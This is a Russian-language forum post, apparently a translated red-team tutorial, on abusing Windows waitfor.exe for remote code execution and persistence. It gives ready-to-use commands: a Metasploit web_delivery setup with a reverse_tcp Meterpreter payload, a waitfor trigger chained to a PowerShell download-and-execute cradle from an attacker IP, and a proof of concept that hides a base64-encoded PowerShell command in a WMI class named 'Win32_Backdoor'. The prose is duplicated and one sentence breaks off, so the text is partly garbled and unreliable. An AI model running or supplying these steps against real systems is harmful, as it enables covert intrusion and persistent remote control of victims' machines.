Waitfor - это двоичный файл Microsoft, который обычно используется для синхронизации компьютеров по сети путем отправки сигналов. Этот механизм связи может использоваться в работе красной команды для загрузки и выполнения произвольного кода и для сохранения. Двоичный файл хранится в папке C: \ Windows \ System32, что означает, что для выполнения этой операции требуются права локального администратора, и оба хоста (отправитель и получатель) должны находиться в одном сегменте сети.
Metasploit Framework можно использовать для размещения полезной нагрузки на основе PowerShell с помощью модуля «web_delivery».
Команда waitfor принимает несколько параметров. Параметр / s указывает IP-адрес удаленного хоста, на который будет отправлен сигнал, или может использоваться адрес обратной связи, если он выполняется локально. Параметр / si отправляет сигнал по сети, а последний компонент - это имя сигнала.
«Waitfor» необходимо выполнить на целевом хосте с именем сигнала и добавлением команды PowerShell.
WaitFor - Скачать и выполнить код
Когда сигнал будет получен на хосте, команда будет выполнена и откроется сеанс Meterpreter.
Waitfor - Meterpreter
Проблема, когда этот метод используется для сохранения, состоит в том, что после выполнения команды запуска процесс « waitfor.exe » завершится. Для решения этой проблемы
После импорта модуля он выполнит команду waitfor .
Persistence - модуль cheking для PowerShell
Выполнение команды триггера создаст канал связи с целевым хостом. Команду можно запустить несколько раз, поскольку « waitfor » всегда находится в режиме ожидания.
WaitFor через модуль PowerShell
В Metasploit Framework также реализован этот метод хранения полезных данных внутри класса WMI и использования « waitfor » в качестве триггера.
После выполнения модуль установит произвольную полезную нагрузку внутри класса WMI. Он также сгенерирует команду, которую необходимо использовать, чтобы снова получить сеанс Meterpreter.
Сигнал может быть отправлен в целевую систему с другого хоста в сети с доступом к оболочке.
Модуль Metasploit - команда запуска
Следующий GIF демонстрирует, как двоичный файл « waitfor » может использоваться для загрузки и выполнения произвольной полезной нагрузки.
Техника в действии
WaitFor - Скачать и выполнить произвольный кодСсылки
Metasploit Framework можно использовать для размещения полезной нагрузки на основе PowerShell с помощью модуля «web_delivery».
Код:
use exploit/multi/script/web_delivery
set target 5
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.13
exploit
Команда waitfor принимает несколько параметров. Параметр / s указывает IP-адрес удаленного хоста, на который будет отправлен сигнал, или может использоваться адрес обратной связи, если он выполняется локально. Параметр / si отправляет сигнал по сети, а последний компонент - это имя сигнала.
«Waitfor» необходимо выполнить на целевом хосте с именем сигнала и добавлением команды PowerShell.
Код:
waitfor /s 127.0.0.1 /si pentestlab
waitfor pentestlab && powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.13:8080/pentestlaboratories');
WaitFor - Скачать и выполнить код
Когда сигнал будет получен на хосте, команда будет выполнена и откроется сеанс Meterpreter.
Waitfor - Meterpreter
Проблема, когда этот метод используется для сохранения, состоит в том, что после выполнения команды запуска процесс « waitfor.exe » завершится. Для решения этой проблемы
Ссылка скрыта от гостей
разработала сценарий PowerShell, в котором команда хранится в классе
Ссылка скрыта от гостей
, чтобы непрерывно включать режим ожидания.
Код:
<#
A quick POC to use Waitfor.exe to maintain persistence
Author: 3gstudent @3gstudent
Learn from:https://twitter.com/danielhbohannon/status/872258924078092288
#>
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null
После импорта модуля он выполнит команду waitfor .
Код:
Import-Module .\Waitfor-Persistence.ps1
Persistence - модуль cheking для PowerShell
Выполнение команды триггера создаст канал связи с целевым хостом. Команду можно запустить несколько раз, поскольку « waitfor » всегда находится в режиме ожидания.
WaitFor через модуль PowerShell
В Metasploit Framework также реализован этот метод хранения полезных данных внутри класса WMI и использования « waitfor » в качестве триггера.
Код:
use exploit/windows/local/wmi_persistence
set PERSISTENCE_METHOD WAITFOR
set WAITFOR_TRIGGER pentestlab
set SESSION 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.13
set LPORT 4444
exploit
После выполнения модуль установит произвольную полезную нагрузку внутри класса WMI. Он также сгенерирует команду, которую необходимо использовать, чтобы снова получить сеанс Meterpreter.
Сигнал может быть отправлен в целевую систему с другого хоста в сети с доступом к оболочке.
Модуль Metasploit - команда запуска
Следующий GIF демонстрирует, как двоичный файл « waitfor » может использоваться для загрузки и выполнения произвольной полезной нагрузки.
Техника в действии
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
- 3gstudent/Waitfor-Persistence
Ссылка скрыта от гостей